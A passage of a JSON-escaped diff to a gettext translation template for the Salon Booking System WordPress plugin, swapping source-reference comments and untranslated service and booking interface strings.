build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:65\n-msgid \"Salon email\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:228\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:228\n+msgid \"Service draft updated.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FCalendarLink.php:67, src\u002FSLN\u002FThird\u002FGoogleScope.php:873, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:873, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:873, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:873, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:873, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:873\n-msgid \"Booked services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:145\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:145\n+msgid \"Service ID\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FCalendarLink.php:79, src\u002FSLN\u002FThird\u002FGoogleScope.php:890, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:890\n-msgid \"None\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:254\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:254\n+msgid \"Service lock\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FCalendarLink.php:80, src\u002FSLN\u002FThird\u002FGoogleScope.php:867, src\u002FSLN\u002FUpdate\u002FPage.php:234, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:80, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:867, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:80, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:867, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:867, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:867, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:867\n-msgid \"Customer name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:207\n+msgid \"Service Offset\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FCalendarLink.php:81, src\u002FSLN\u002FThird\u002FGoogleScope.php:891, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:891, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:891, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:891, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:891, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:891\n-msgid \"Booking status\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:213\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:213\n+msgid \"Service published.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FHelper\u002FFacebookLogin.php:101, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FFacebookLogin.php:101, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FFacebookLogin.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FFacebookLogin.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FFacebookLogin.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FFacebookLogin.php:101\n-msgid \"Access token not found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:109\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:109\n+msgid \"Service required\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FMetabox\u002FAttendant.php:49, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:49, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:49\n-msgid \"Assistant description\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:140\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:140\n+msgid \"Service requires attendant but no attendants provided\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FMetabox\u002FBooking.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:40\n-msgid \"Customer notification\"\n+#. %s will be replaced by the revision title\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:209\n+#, php-format\n+msgid \"Service restored to revision from %s\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FMetabox\u002FBooking.php:113, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:113, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:113, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:113, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:113\n-msgid \"Do not notify customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:215\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:215\n+msgid \"Service saved.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FMetabox\u002FBooking.php:246, src\u002FSLN\u002FMetabox\u002FBooking.php:542, src\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:232, src\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:103, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:246, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:542, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:232, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:103, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:246, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:542, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:245, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:455, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:246, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:530, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:246, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:542, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:232, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:232, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:232, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:232, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:103\n-msgid \"e-mail is not valid\"\n+#. %s will be replaced by the date\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:221\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:221\n+#, php-format\n+msgid \"Service scheduled for: \u003Cstrong>%1$s\u003C\u002Fstrong>. \"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FMetabox\u002FBooking.php:526, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:526, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:526, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:439, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:514, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:526\n-msgid \"First name can't be empty\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:217\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:217\n+msgid \"Service submitted.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FMetabox\u002FBooking.php:529, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:529, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:529, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:442, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:517, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:529\n-msgid \"Last name can't be empty\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:202\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:206\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:202\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:206\n+msgid \"Service updated.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FMetabox\u002FBooking.php:533, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:533, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:533, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:446, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:521, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:533\n-msgid \"e-mail can't be empty\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_booking_info.php:75\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:75\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:28\n+msgid \"SERVICES\"\n msgstr \"\"\n \n-#. translators: %s is the booking customer name\n-#: src\u002FSLN\u002FMetabox\u002FBooking.php:615, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:615, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:615, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:603, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:615\n-msgid \"Booking for %s has been moved to trash.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fcontainer.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:38\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:183\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:431\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:91\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:251\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:255\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fcontainer.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:38\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:183\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:431\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:91\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:251\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 